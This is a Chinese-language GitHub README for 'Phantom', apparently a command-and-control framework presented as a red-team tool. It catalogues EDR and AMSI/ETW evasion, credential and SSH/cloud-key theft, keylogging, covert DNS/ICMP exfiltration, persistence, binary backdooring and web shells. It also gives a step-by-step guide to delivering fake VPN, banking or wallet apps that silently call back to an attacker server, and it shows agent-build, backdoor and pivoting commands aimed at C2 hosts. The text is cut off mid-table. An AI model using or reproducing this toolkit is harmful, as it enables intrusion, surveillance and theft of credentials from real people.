phantom-offensive/Phantom

GitHub: phantom-offensive/Phantom

一款面向授权红队演练的现代 C2 框架,集成多协议监听、强规避技术、跨平台 Agent、移动端支持与专业 Web 仪表盘。

Stars: 17 | Forks: 1

# Phantom C2 ``` ___ ____/ \____ ____/ _ _ \____ ____/ _____/ \_/ \_____ \____ ____/ _____/ PHANTOM C2 \_____ \____ /______/____________________________\______\ \___ ✦ ___/ \_______•_______/ [::] Phantom C2 Framework — Red Team Operations [::] Stealth • Precision • Control ```

一个用于授权红队演练的现代命令与控制 (Command & Control) 框架
灵感来源于 B-2 幽灵轰炸机 —— 隐形、精准且致命

功能特性 | 安装说明 | 使用指南 | Agent 能力 | 载荷生成 | 免责声明

## 截图 ### 仪表盘 —— Agent 概览、Beacon 图表、网络拓扑 ![Dashboard](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/14e905567c020201.jpg) ### Agent 管理 —— 状态、操作系统、IP、交互 ![Agents](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/bbdcd1436c020203.jpg) ### 监听器管理 —— HTTP/HTTPS、预设、创建与启动 ![Listeners](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/b11f310da7020204.jpg) ### 终端 —— .NET Assembly、快捷操作、文件上传 ![Terminal](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/b5e5dd0f2f020205.jpg) ### Payload 生成器 —— EXE、Stagers、混淆等级 ![Payloads](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/604ad15e1a020206.jpg) ### 二进制后门与持久化生成器 ![Backdoor](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/66a1055b96020207.jpg) ### 移动应用构建器 (30+ 模板) ![App Templates](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/a79751b602020208.png) ### 移动 Payload 生成 (Android + iOS) ![Mobile Payloads](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/2714be6a87020209.png) ### 移动 Agent 回连 ![Mobile Callback](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/4d64924e33020209.png) ### 所有命令 (35+) ![Help](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/6902cf061e020210.png) ### Agent 能力 ![Agent Help](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/80f5f799d5020211.png) ### Web UI、报告与 Webhook ![WebUI](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/52a618e49f020212.png) ## 功能特性 **界面** - **双重界面** —— 启动时选择 CLI、Web UI 或两者兼有 - **操作员认证** —— 首次运行设置 + 密码掩码登录 - **Web UI 仪表盘** —— 灵感来源于 Cobalt Strike/Mythic,支持明暗主题切换 - **CLI shell** —— 带样式的提示符,支持会话记录和实时事件通知 - **键盘快捷键** —— Alt+1-9 切换标签页,`/` 聚焦终端 **通信** - **HTTP/HTTPS/DNS/TCP/SMB 监听器**,支持可配置的通信配置文件 - **加密通信** —— RSA-2048 密钥交换 + AES-256-GCM,支持密钥自动轮换 - **4 种可配置配置文件** —— Default, Microsoft 365, Cloudflare Workers, Redirector - **SMB/Unix socket 横向移动** —— agent 到 agent 的中继,用于内网访问 - **移动端点** —— `/api/v1/mobile/checkin` 用于 Android/iOS 回连 - **监听器预设** —— 保存、加载、从 CLI 或 Web UI 一键启动 - **JA3 指纹随机化** —— 每个连接随机选择加密套件以规避 TLS 指纹识别 - **User-Agent 轮换** —— 每次请求从 7 个真实浏览器 UA 中随机选择 - **流量填充** —— 随机长度的数据填充以对抗流量模式分析 - **指数退避** —— 连接失败时使用 2^n 重试以避免被检测为泛洪 **规避与隐蔽** - **AMSI bypass** —— 补丁 AmsiScanBuffer - **ETW bypass** —— 补丁 EtwEventWrite - **ntdll unhooking** —— 从磁盘加载干净的 .text 段 - **Process hollowing** —— CreateProcess suspended + QueueUserAPC - **Sleep encryption** —— Ekko 风格的睡眠期内存加密(规避 BeaconEye, YARA) - **Indirect syscalls** —— Halo's Gate SSN 解析以绕过 EDR 钩子 - **Parent PID spoofing** —— 在 explorer.exe/svchost.exe 下生成进程 - **栈欺骗框架** —— 睡眠期间伪造调用栈 - **Timestomping** —— 修改文件时间戳以匹配参考文件 - **日志清理** —— 清除 Windows 事件日志 和 Linux syslogs - **Unhook 所有 DLL** —— ntdll + kernel32 + kernelbase + advapi32 (不仅仅是 ntdll) - **移除 PE 头** —— 从内存中擦除 MZ/PE 签名(对扫描器不可见) - **补丁所有 ETW 提供程序** —— EtwEventWrite, EtwEventWriteEx, EtwEventWriteFull, EtwEventWriteTransfer, NtTraceEvent - **BlockDLLs 策略** —— 生成阻止非 Microsoft DLL 注入的进程 (BLOCK_NON_MICROSOFT_BINARIES) - **Module stomping** —— 用 implant 代码覆盖合法 DLL 的 .text 段 - **硬件断点钩子** —— 基于调试寄存器的钩子(无代码修改) - **高级规避初始化** —— 单条命令运行所有绕过技术 - **自清理** —— 在 kill/kill-date 时移除二进制文件并清理环境 - **沙箱检测** —— 运行时间、CPU、主机名、环境检查 - **移动端规避** —— 反模拟器、反 Frida、反调试、反 AV (25+ 包) **执行** - **内存中 BOF** —— COFF 解析器 (Windows), memfd_create (Linux), 55+ BOF 目录 - **.NET assembly 执行** —— 通过 PowerShell 反射在内存中运行 (Seatbelt, Rubeus, SharpHound, Certify 等) - **Shellcode 执行** —— VirtualAlloc/mmap,零磁盘占用 - **进程注入** —— CreateRemoteThread - **22 条 AD 命令** —— 枚举、Kerberoasting、DCSync、横向移动 **初始访问** - **端口扫描器** —— 带服务检测的 TCP 端口扫描 - **密码喷洒** —— 基于 SMB 的凭证喷洒 - **网络发现** —— Ping 扫描 / nmap 主机发现 - **SMB 枚举** —— 共享列表和访问检查 - **DNS 枚举** —— A, MX, NS, TXT, SRV, SOA 记录查询 - **Web 指纹识别** —— Header 分析 + 常见路径发现 (robots.txt, .git, .env) - **漏洞扫描** —— 基础漏洞评估 (开放端口, SMB 签名, 常见漏洞) **后渗透** - **令牌操作** —— 窃取、制作、还原、模拟 - **键盘记录器** —— GetAsyncKeyState (Windows), xinput (Linux) - **C2 隧道 SOCKS5 代理** —— 运行在操作员机器上,兼容 proxychains - **端口转发** —— 通过 agent 将本地端口转发到远程目标 - **凭证窃取** —— 浏览器、WiFi、剪贴板、SSH、RDP、保管库 - **12 种持久化方法** —— registry, schtask, startup folder, WMI event (fileless), Windows service, logon script, COM hijack, cron, systemd, bashrc, profile, rc.local - **持久化管理** —— `persist list` 检查已安装项,`persist remove` 清理所有 - **横向移动** —— wmiexec, winrm, psexec, ssh, pth, wmi-spawn, winrm-spawn - **55+ BOF 目录** —— AD 枚举、ADCS、凭证、kerberos、规避、权限提升、网络 **数据窃取 (12 种方法)** - **DNS 窃取** —— 将数据编码为 DNS 子域名查询(隐蔽,绕过防火墙) - **HTTP 窃取** —— POST 数据到外部服务器(快速) - **ICMP 窃取** —— 在 ping 包中嵌入数据(无需 TCP/UDP) - **SMB 窃取** —— 复制到网络共享 - **凭证盗窃** —— 剪贴板、浏览器密码、WiFi 密钥、RDP 保存的凭证、Windows 保管库 - **密钥发现** —— SSH 私钥、AWS/Azure/GCP/Kubernetes 凭证、.env 文件 - **数据打包** —— 压缩目录以实现高效窃取 **Payload 生成 (26+ 种类型)** - **Agent 二进制文件** —— Windows EXE, Linux ELF, 经 garble 混淆 - **Web shells** —— ASPX, PHP, JSP (Token 保护,带有 404 诱饵) - **Stagers** —— PowerShell, Bash, Python, HTA, VBA macro - **移动端** —— Android APK 构建器 (30+ 虚假应用模板), iOS MDM + 钓鱼 - **二进制后门** —— 将 agent 注入任何 PE/ELF 二进制文件 (类似 Sliver `backdoor`) - **DLL 侧载** —— 代理 Teams, Slack, Chrome, VSCode, Firefox, PuTTY 的 DLL - **LNK 快捷方式后门** —— 带有真实应用图标的恶意快捷方式 - **安装程序包装器** —— 特洛伊木马化的安装程序,运行 agent + 真实安装程序 - **服务 DLL** —— svchost 下的 Windows 服务(自动重启,重启后存活) - **WMI 事件订阅** —— 无文件持久化(磁盘上无文件) - **Office 模板宏** —— Normal.dotm 中的 VBA(每个新文档运行) - **Registry/scheduled task/startup folder** —— 多种持久化生成器 - **混淆选项** —— None, Strip+UPX (60% 体积缩减), 或通过 Web UI 进行 Garble - **插件系统** —— 可扩展的插件目录,支持自动发现 - **可恢复文件传输** —— 4MB 分块传输,带 SHA-256 校验和 - **API 密钥认证** —— 生成用于脚本/自动化的密钥 (X-API-Key header) **Web UI (与 CLI 功能完全对等)** - **明暗主题** —— 带持久化的切换,专业的浅色主题 - **更大的侧边栏图标** —— 所有标签页的带标签图标 - **仪表盘** —— 实时统计、Beacon 图表、网络拓扑、演练计时器 - **Agent 管理** —— 重命名 agent、删除死亡 agent、带状态的 agent 卡片 - **监听器管理** —— 创建、启动/停止、保存预设、一键启动 - **交互式终端** —— 彩色输出 (IP 青色, 错误红色, FLAG 金色), 命令历史 - **Payload 生成器** —— 监听器/预设下拉菜单、混淆级别、自动下载 - **后门生成器** —— 浏览器中的二进制后门 + 10 种持久化类型 - **文件浏览器** —— 操作系统自适应, 可点击文件夹, Up/Refresh 导航 - **凭证管理器** —— 添加/查看/删除窃取的凭证,带类型标签 - **战利品查看器** —— 按类型浏览捕获的输出 (凭证, 文件, 截图, 键盘记录) - **Pivot 地图** —— 显示按子网分组的 agent 的画布网络图 - **IOC 仪表盘** —— 跟踪丢弃的文件、网络连接、进程、持久化 - **会话回放** —— 带时间戳回放任何 agent 的完整命令历史 - **命令模板** —— 6 个内置模板 (Initial Enum, AD Enum 等) 支持一键 Run All - **MITRE ATT&CK 映射** —— 16 个技术 ID 映射到 Phantom 命令 - **自动任务** —— 配置在新 agent 签入时自动运行的命令 - **操作员审计日志** —— 谁向哪个 agent 发送了什么命令 - **演练笔记** —— 用于记录发现的持久化记事本 - **浏览器通知** —— 新 agent 签入时推送警报 - **导出数据** —— 以 JSON 格式下载完整的演练数据 - **SOCKS 代理** —— 从终端标签页启动/停止 C2 隧道 SOCKS - **Sleep/jitter 控制** —— 从 Web UI 调整 Beacon 间隔 - **多操作员** —— 并发 CLI + Web UI 会话 **运维操作** - **C2 隧道 SOCKS5** —— 兼容 proxychains,通过 agent 进行横向移动 - **演练计时器** —— 顶部栏中的耗时跟踪 - **演练报告** —— Markdown + CSV,包含完整的活动时间线 - **Webhook 通知** —— 事件上的 Slack/Discord 警报 - **会话记录** —— 记录每条命令以供文档记录 - **内置诊断** —— `--doctor`标志检查 25+ 系统要求 - **重定向器支持** —— 生成 Nginx/Caddy/Cloudflare/iptables 配置 - **Docker 部署** —— `docker-compose up -d` 单行命令 ## 安装说明 ### Linux (Kali / Ubuntu / Debian) ``` # 步骤 1:安装 Go(如果尚未安装) sudo apt update sudo apt install -y golang-go git make # 验证 Go 版本(需要 1.22+) go version # 步骤 2:克隆 repository git clone https://github.com/Phantom-C2-77/Phantom.git cd Phantom # 步骤 3:安装依赖 go mod tidy # 步骤 4:(可选)安装 garble 用于 agent 混淆 go install mvdan.cc/garble@latest # 步骤 5:生成 RSA keypair(加密通信所需) go run ./cmd/keygen -out configs/ # 步骤 6:(可选)为 HTTPS listeners 生成 TLS 证书 bash scripts/generate_certs.sh # 步骤 7:构建 server make server # 步骤 8:启动 Phantom ./build/phantom-server --config configs/server.yaml ``` ### Windows ``` # 步骤 1:安装 Go # 从 https://go.dev/dl/ 下载并运行 installer # 或使用 winget: winget install GoLang.Go # 安装 Go 后重启 terminal,然后验证: go version # 步骤 2:安装 Git(如果尚未安装) winget install Git.Git # 步骤 3:克隆 repository git clone https://github.com/Phantom-C2-77/Phantom.git cd Phantom # 步骤 4:安装依赖 go mod tidy # 步骤 5:(可选)安装 garble 用于 agent 混淆 go install mvdan.cc/garble@latest # 步骤 6:生成 RSA keypair go run ./cmd/keygen -out configs/ # 步骤 7:构建 server go build -ldflags "-s -w" -o build\phantom-server.exe ./cmd/server # 步骤 8:启动 Phantom .\build\phantom-server.exe --config configs\server.yaml ``` ### 快速安装 (单行命令) **Linux:** ``` git clone https://github.com/Phantom-C2-77/Phantom.git && cd Phantom && go mod tidy && go run ./cmd/keygen -out configs/ && make server && ./build/phantom-server --config configs/server.yaml ``` **Windows (PowerShell):** ``` git clone https://github.com/Phantom-C2-77/Phantom.git; cd Phantom; go mod tidy; go run ./cmd/keygen -out configs/; go build -ldflags "-s -w" -o build\phantom-server.exe ./cmd/server; .\build\phantom-server.exe --config configs\server.yaml ``` ### Docker (推荐) ``` git clone https://github.com/Phantom-C2-77/Phantom.git cd Phantom docker-compose up -d docker attach phantom-c2 ``` 暴露端口: HTTP (8080), HTTPS (443), DNS (53), Web UI (3000) ## 使用指南 ### 启动服务器 ``` ./build/phantom-server --config configs/server.yaml ``` 你将看到: ``` ___ __ __ ___ _ __ ______ ____ __ ___ / _ \/ / / / / _ | / |/ //_ __// __ \ / |/ / / ___/ /_/ / / __ |/ / / / / /_/ // /|_/ / /_/ \____/ /_/ |_/_/|_/ /_/ \____//_/ /_/ [::] Phantom C2 Framework — Red Team Operations [::] Version: dev [*] Loading configuration from configs/server.yaml [*] Initializing server... [+] Listener 'fallback-http' started on 0.0.0.0:8080 (http) [+] Phantom C2 server ready [*] Type 'help' for available commands phantom > ``` ### 全局命令 ``` phantom > help Phantom C2 — Commands ───────────────────────────────────────── agents List all connected agents interact Interact with an agent listeners [start|stop] Manage listeners tasks [agent] View task history generate [url] Build agent or generate payload remove Remove a dead agent loot [agent] View captured loot events View event log clear Clear screen help Show this help exit Shutdown and exit ``` ### 与 Agent 交互 ``` phantom > agents ┌──────────┬───────────────┬─────────┬──────────┬───────┬─────────────┬──────────┬──────────┬────────┐ │ ID │ Name │ OS │ Hostname │ User │ IP │ Sleep │ Last Seen│ Status │ ├──────────┼───────────────┼─────────┼──────────┼───────┼─────────────┼──────────┼──────────┼────────┤ │ a3f2e8c1 │ silent-falcon │ windows │ DC-PROD │ admin │ 10.0.1.42 │ 10s/20% │ 2s ago │ active │ │ b7d4f091 │ dark-raven │ linux │ web-01 │ root │ 10.0.1.100 │ 10s/20% │ 5s ago │ active │ └──────────┴───────────────┴─────────┴──────────┴───────┴─────────────┴──────────┴──────────┴────────┘ phantom > interact silent-falcon [+] Interacting with silent-falcon (admin@DC-PROD) phantom [silent-falcon] > shell whoami [+] Task queued (ID: a3f2e8c1) — waiting for agent check-in... [+] Result: dc-prod\admin phantom [silent-falcon] > ad-help (shows all 22 AD commands) phantom [silent-falcon] > ad-enum-users phantom [silent-falcon] > ad-kerberoast phantom [silent-falcon] > screenshot phantom [silent-falcon] > persist registry phantom [silent-falcon] > back ``` ### Agent 命令 (在 `interact` 会话中) | Command | Description | |---------|-------------| | `shell ` | 执行 shell 命令 (cmd.exe / /bin/sh) | | `upload ` | 上传文件到 agent | | `download ` | 从 agent 下载文件 | | `screenshot` | 截取屏幕 | | `ps` | 列出正在运行的进程 | | `sysinfo` | 获取系统信息 | | `sleep [jitter%]` | 更改睡眠间隔 | | `cd ` | 更改工作目录 | | `bof [args]` | 执行 Beacon Object File (内存中) | | `shellcode ` | 在内存中执行原始 shellcode | | `inject ` | 将 shellcode 注入远程进程 | | `ad-*` | Active Directory 命令 (输入 `ad-help`) | | `token ` | 令牌操作 (steal/make/revert/impersonate) | | `keylog ` | 启动键盘记录器 | | `creds ` | 凭证窃取 (browser/wifi/clipboard/ssh) | | `socks start [port]` | 启动 C2 隧道 SOCKS5 代理 | | `portfwd ` | 通过 agent 进行端口转发 | | `evasion` | 运行规避 (AMSI/ETW/ntdll unhook) | | `evasion timestomp ` | 匹配文件时间戳 | | `evasion clearlogs` | 清除 Windows/Linux 事件日志 | | `persist ` | 安装持久化 (见下文) | | `persist list` | 显示已安装的持久化 | | `persist remove` | 移除所有持久化 | | `lateral ` | 横向移动 (wmiexec/winrm/psexec/ssh/pth) | | `pivot ` | SMB 命名管道横向移动 | | `kill` | 终止 agent | | `info` | 显示 agent 详情 | | `tasks` | 显示任务历史 | | `back` | 返回主菜单 | ### 持久化方法 | Method | Platform | Description | |--------|----------|-------------| | `registry` | Windows | HKCU Run 键 (无需管理员) | | `schtask` | Windows | 登录时的计划任务 | | `startup` | Windows | 复制到 Startup 文件夹 | | `wmi` | Windows | WMI 事件订阅 (无文件) | | `winservice` | Windows | 以 SYSTEM 权限运行的 Windows 服务 | | `logonscript` | Windows | UserInitMprLogonScript (在 Explorer 之前) | | `comhijack` | Windows | COM 对象劫持 (随 Explorer 加载) | | `cron` | Linux | 每 5 分钟的 Cron 作业 | | `service` | Linux | Systemd 用户服务 (自动重启) | | `bashrc` | Linux | .bashrc 后门 | | `profile` | Linux | .profile 后门 (登录 shell) | | `rc.local` | Linux | /etc/rc.local 启动脚本 (需要 root) | ### 横向移动 ``` lateral wmiexec lateral winrm lateral psexec lateral ssh lateral pth lateral wmi-spawn lateral winrm-spawn ``` ## Agent 能力 | Capability | Windows | Linux | |-----------|---------|-------| | Shell 执行 | cmd.exe | /bin/sh | | 文件上传/下载 | 是 (可恢复分块) | 是 (可恢复分块) | | 截图 | PowerShell GDI | import/scrot/xwd | | 进程列表 | tasklist | ps aux | | 系统信息 | 完整 | 完整 | | 持久化 | 7 种方法 (registry, schtask, startup, WMI, service, logon, COM) | 5 种方法 (cron, systemd, bashrc, profile, rc.local) | | BOF 执行 | 内存中 COFF 加载器 (55+ 目录) | memfd_create | | .NET Assembly | 通过反射在内存中运行 | N/A | | Shellcode 执行 | VirtualAlloc + CreateThread | mmap RWX | | 进程注入 | CreateRemoteThread | N/A | | 沙箱检测 | 是 | 是 | | 横向移动 | wmiexec, winrm, psexec, pth | ssh | | 窃取 | DNS, HTTP, ICMP, SMB, clipboard, browser, WiFi, vault | DNS, HTTP, ICMP, ssh-keys, cloud-keys | | 初始访问 | portscan, spray, enum-smb, enum-web, vuln-scan | portscan, enum-dns, netdiscover | ### Active Directory 命令 (共 22 条) **枚举:** `ad-enum-domain`, `ad-enum-users`, `ad-enum-groups`, `ad-enum-computers`, `ad-enum-shares`, `ad-enum-spns`, `ad-enum-gpo`, `ad-enum-trusts`, `ad-enum-admins`, `ad-enum-asrep`, `ad-enum-delegation`, `ad-enum-laps` **攻击:** `ad-kerberoast`, `ad-asreproast`, `ad-dcsync` **凭证访问:** `ad-dump-sam`, `ad-dump-lsa`, `ad-dump-tickets` **横向移动:** `ad-psexec`, `ad-wmi`, `ad-winrm`, `ad-pass-the-hash` ### 窃取命令 ``` exfil dns DNS subdomain tunneling (stealthy) exfil http HTTP POST exfil (fast) exfil icmp ICMP ping data embed (no TCP/UDP) exfil smb SMB file copy exfil clipboard Steal clipboard exfil browser Chrome/Firefox credential databases exfil wifi Saved WiFi passwords exfil rdp Saved RDP credentials exfil vault Windows Credential Vault exfil ssh-keys Find SSH private keys exfil cloud-keys AWS/Azure/GCP/K8s credentials exfil compress Compress directory for exfil ``` ### .NET Assembly 执行 ``` assembly Seatbelt.exe -group=all assembly Rubeus.exe kerberoast assembly SharpHound.exe -c All -d domain.local assembly Certify.exe find /vulnerable assembly inline [args] assembly list ``` ### 初始访问 ``` initaccess portscan TCP port scanner initaccess spray Password spray initaccess enum-smb SMB share enumeration initaccess enum-dns DNS record enumeration initaccess enum-web Web fingerprinting initaccess vuln-scan Vulnerability assessment initaccess netdiscover Host discovery ``` ## 构建 Agent ### 从 Phantom CLI ``` phantom > generate exe https://your-c2.com:443 [*] Building windows/amd64 agent... [+] Agent built successfully! Output: build/agents/phantom-agent_windows_amd64.exe Size: 6.4 MB Platform: windows/amd64 Listener: https://your-c2.com:443 Sleep: 10s / 20% ``` ### 从 Make ``` # Windows agent make agent-windows LISTENER_URL=https://your-c2.com:443 SLEEP=10 JITTER=20 # Linux agent make agent-linux LISTENER_URL=https://your-c2.com:443 SLEEP=10 JITTER=20 # 混淆(garble) make agent-garble-windows LISTENER_URL=https://your-c2.com:443 SLEEP=10 JITTER=20 ``` ### Make 目标参考 ``` make help # Show all available targets make server # Build the server binary make run # Build + start the server make restart # Kill running server, rebuild, and start fresh make agent-windows # Cross-compile Windows/amd64 agent make agent-linux # Cross-compile Linux/amd64 agent make agent-garble-windows # Obfuscated Windows agent via garble make agent-all # Build all agent variants make keygen # Generate RSA keypair for server make certs # Generate self-signed TLS certificates make deps # Install dependencies (Go modules + garble) make test # Run all tests make clean # Remove all build artifacts ``` **代码更改后的常见工作流程:** ``` # 使用最新更改重启 server make restart # 如果您修改了 implant/agent 代码,请同时重新构建 agent make agent-windows LISTENER_URL=http://YOUR-IP:8080 ``` ### 构建带有嵌入式 RSA 密钥的 Agent 为了使 agent 能够与 C2 通信,必须嵌入服务器的 RSA 公钥: ``` cd ~/phantom SERVER_PUB_DER_B64=$(python3 -c " import base64, re with open('configs/server.pub','rb') as f: pem = f.read() b64 = re.sub(r'-----[^-]+-----', '', pem.decode()).replace('\n','').strip() print(base64.b64encode(base64.b64decode(b64)).decode())") GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -ldflags "-s -w \ -X 'github.com/phantom-c2/phantom/internal/implant.ListenerURL=http://YOUR-IP:8080' \ -X 'github.com/phantom-c2/phantom/internal/implant.SleepSeconds=5' \ -X 'github.com/phantom-c2/phantom/internal/implant.JitterPercent=10' \ -X 'github.com/phantom-c2/phantom/internal/implant.ServerPubKey=$SERVER_PUB_DER_B64'" \ -o build/agents/phantom-agent_linux_amd64 ./cmd/agent ``` ## C2 隧道 SOCKS5 代理 使用 proxychains 通过被攻陷的 agent 将流量路由到内网: ``` # 从 Phantom CLI phantom > interact phantom [agent] > socks start 1080 # 或从 Web UI:Terminal 标签页 → "SOCKS Proxy" 按钮 # 配置 proxychains echo 'socks5 127.0.0.1 1080' >> /etc/proxychains4.conf # 通过 agent 扫描内部网络 proxychains nmap -sT -Pn 10.10.20.0/24 # SSH 连接到内部主机 proxychains ssh admin@10.10.20.10 # 访问内部 web 应用 proxychains curl http://10.10.20.30:8080 ``` ## Shellcode 加载器与分阶段投递 生成微小的加载器 (~30KB),完全在内存中下载并执行 agent —— 不触碰磁盘: ``` # 从 API: curl -X POST http://localhost:3000/api/payload/loader \ -H "Content-Type: application/json" \ -d '{"listener_url":"http://YOUR-IP:8080","loader_type":"syscall"}' ``` | Loader Type | Size | Description | |------------|------|-------------| | `syscall` | ~30KB | 直接 API 加载器,带反沙箱 (最隐蔽) | | `dll` | ~25KB | DLL 侧载 — 重命名为 version.dll,放置在 Teams/Slack/Chrome 旁 | | `hollowing` | ~35KB | 进程镂空 — 注入到挂起的 svchost.exe | | `fiber` | ~28KB | Windows Fiber 执行 — 避免基于线程的检测 | **工作原理:** C2 使用 AES-256 加密 agent → 微小加载器下载加密 blob → 在内存中解密 → 执行。Agent 从不触碰磁盘,EDR 无法扫描它。 ## 二进制后门 将 Phantom agent 注入任何合法的可执行文件: ``` # 从 CLI phantom > backdoor /path/to/putty.exe http://YOUR-C2:8080 # 从 Web UI:Payloads 标签页 → Binary Backdoor 面板 # 从 API curl -X POST http://localhost:3000/api/payload/backdoor/binary \ -H "Content-Type: application/json" \ -d '{"input":"/path/to/app.exe","listener_url":"http://YOUR-C2:8080"}' ``` 支持的后门类型: DLL 侧载、LNK 快捷方式、安装程序包装器、服务 DLL、注册表持久化、计划任务、WMI 事件 (无文件)、Office 模板、启动文件夹、Linux bashrc。 ## Payload 生成 ### 从 Phantom CLI ``` phantom > generate aspx https://your-c2.com:443 [+] Payload generated: build/payloads/update.aspx [*] Upload to target web server, then access with: curl -X POST -H 'X-Debug-Token: ' -d 'data=whoami' phantom > generate php https://your-c2.com:443 phantom > generate jsp https://your-c2.com:443 phantom > generate powershell https://your-c2.com:443 phantom > generate bash https://your-c2.com:443 phantom > generate python https://your-c2.com:443 phantom > generate hta https://your-c2.com:443 phantom > generate vba https://your-c2.com:443 ``` | Payload | Platform | Description | |---------|----------|-------------| | `aspx` | IIS/ASP.NET | Token 保护的 web shell,带 404 诱饵 | | `php` | Apache/Nginx | 多重回退执行 (5 种方法) | | `jsp` | Tomcat/Java | 跨平台 web shell | | `powershell` | Windows | 下载并执行 stager | | `bash` | Linux | curl/wget stager | | `python` | 跨平台 | 支持 SSL 的 stager | | `hta` | Windows | 钓鱼 payload (base64 PS cradle) | | `vba` | Windows | Office 宏 | ## 移动 Payload (Android + iOS) ### 快速开始 —— 带 C2 回连的 Android 应用 ``` # 步骤 1:生成虚假 VPN 应用 phantom > generate app vpn-shield https://YOUR-C2-IP:8080 # 步骤 2:构建 APK cd build/payloads/apps/vpn_shield # 在 Android Studio 中打开 → Build → Build APK # 或:gradle assembleRelease # 步骤 3:投递到目标 # - 通过电子邮件/消息发送 APK # - 托管在虚假应用商店页面 # - 链接到下载的二维码 # 步骤 4:当目标安装并打开应用时 # - 他们看到合法的 VPN 界面 # - 后台服务启动 C2 回连 # - Agent 出现在 Phantom 中:"phantom > agents" # 步骤 5:与移动端 agent 交互 phantom > interact toxic-cobra phantom [toxic-cobra] > shell id phantom [toxic-cobra] > sysinfo phantom [toxic-cobra] > shell cat /proc/version ``` ### 可用应用模板 (30+) | Category | Templates | |----------|-----------| | 生产力 | Calculator, QR Scanner, PDF Viewer, Notes, File Manager | | 实用工具 | Flashlight, WiFi Analyzer, Battery Saver, Cleaner, Speed Test | | 安全 | VPN Shield, Password Manager, Authenticator, Antivirus Pro | | 金融 | Crypto Wallet, Banking App, Expense Tracker | | 社交 | Chat Messenger, Video Call, Dating Connect | | 娱乐 | Music Player, Live TV, Game Hub | | 企业 | Company Portal, HR Self-Service, IT Support | ### 每个应用包含的内容 - **逼真的 UI** —— 特定类别的界面 (银行仪表盘、安全盾牌等) - **后台 C2 服务** —— 应用关闭后仍存活,静默运行 - **启动持久化** —— 设备重启时自动启动 - **远程 shell** —— 在设备上执行命令 - **设备信息** —— 型号、操作系统、制造商、设备 ID - **规避套件** —— 反模拟器、反调试、反 Frida、反 AV、沙箱延时 ### 其他移动 Payload ``` # Android 专用 payloads(stagers + 钓鱼) phantom > generate android https://YOUR-C2-IP:8080 # iOS 专用 payloads(MDM profile + Apple ID 钓鱼) phantom > generate ios https://YOUR-C2-IP:8080 ``` ### 移动规避 (自动包含) 所有生成的应用自动包含以下规避功能: - 检测模拟器 (Genymotion, Nox, BlueStacks, QEMU) - 检测安全应用 (25+ AV/MDM 包) - 检测 Frida 插桩 (3 种检测方法) - 检测调试器和分析工具 - 延迟 C2 回连 60-120 秒以耗尽沙箱分析时间 - 如果检测到任何分析则保持完全休眠 ## 配置 ### 服务器配置 (configs/server.yaml) ``` server: database: "data/phantom.db" rsa_private_key: "configs/server.key" rsa_public_key: "configs/server.pub" default_sleep: 10 default_jitter: 20 listeners: - name: "default-https" type: "https" bind: "0.0.0.0:443" profile: "default" tls_cert: "configs/server.crt" tls_key: "configs/server-tls.key" - name: "fallback-http" type: "http" bind: "0.0.0.0:8080" profile: "default" ``` ### 可配置配置文件 `configs/profiles/` 中的三个内置配置文件: - **default.yaml** —— 通用 API 流量 (`/api/v1/status`) - **microsoft.yaml** —— Microsoft 365/Azure (`/common/oauth2/v2.0/token`) - **cloudflare.yaml** —— Cloudflare Workers (`/cdn-cgi/rum`) ## Web UI 启动浏览器仪表盘与 CLI 并行: ``` phantom > webui [+] Web UI started: http://127.0.0.1:3000 ``` ### Web UI 登录 Web UI 需要认证。默认凭证: ``` Username: admin Password: phantom ``` 所有页面和 API 端点均受保护 —— 禁止匿名访问。 ### Web UI 功能 - **仪表盘** —— 实时统计、Beacon 图表、网络拓扑、演练计时器 - **Agents** —— 卡片视图 + 表格视图,重命名 agent,删除死亡 agent - **Listeners** —— 创建、启动/停止、保存预设、一键启动 - **Tasks** —— 跨所有 agent 的完整任务历史及输出 - **Terminal** —— 彩色输出,命令历史,快捷操作按钮,SOCKS 代理,sleep 控制 - **Payloads** —— 带监听器预设选择器、混淆选项、自动下载的生成器 - **Backdoors** —— 二进制后门 + 10 种持久化类型 (DLL 侧载、WMI、注册表等) - **Files** —— 操作系统自适应的文件浏览器,可点击文件夹,截图/进程查看器 - **Credentials** —— 添加/查看/删除窃取的凭证,带类型标签 - **Loot** —— 按类型浏览捕获的输出 (凭证、文件、截图、键盘记录) - **Pivot Map** —— 按子网显示 agent 的画布网络图 - **IOC Dashboard** —— 跟踪文件、连接、进程、持久化痕迹 - **Session Replay** —— 带时间戳回放任何 agent 的命令历史 - **Templates** —— 6 个内置命令模板 + MITRE ATT&CK 映射 + 自动任务 - **Audit** —— 操作员审计日志 (谁向哪个 agent 发送了什么) - **Events** —— 事件日志 + 演练笔记 - **Theme** —— 带持久化的明暗模式切换 ### Web UI API 端点 | Endpoint Method | Description | |----------|--------|-------------| | `/login` | GET/POST | 登录页面和认证 | | `/logout` | GET | 结束会话 | | `/api/agents` | GET | 列出所有 agent | | `/api/agent/{name}` | GET | Agent 详情及任务历史 | | `/api/agent/remove` | POST | 删除一个死亡的 agent | | `/api/agent/rename` | POST | 重命名一个 agent | | `/api/listeners` | GET | 列出所有监听器 | | `/api/listener/create` | POST | 创建并启动监听器 | | `/api/listener/start` | GET | 启动已停止的监听器 | | `/api/listener/stop` | GET | 停止运行中的监听器 | | `/api/presets` | GET/POST | 管理监听器预设 | | `/api/tasks` | GET | 跨 agent 的所有任务 | | `/api/events` | GET | 事件日志 | | `/api/cmd` | POST | 向 agent 发送命令 | | `/api/payload/generate` | POST | 生成任意类型的 payload | | `/api/payload/download` | GET | 下载生成的 payload | | `/api/payload/types` | GET | 列出可用的 payload 类型 | | `/api/payload/apps` | GET | 列出移动应用模板 | | `/api/payload/backdoor` | POST | 生成持久化后门 | | `/api/payload/backdoor/binary` | POST | 后门化一个可执行文件 | | `/api/payload/backdoor/types` | GET | 列出后门类型 | | `/api/tunnel/start` | POST | 通过 agent 启动 SOCKS5 隧道 | | `/api/tunnel/stop` | GET | 停止 SOCKS5 隧道 | | 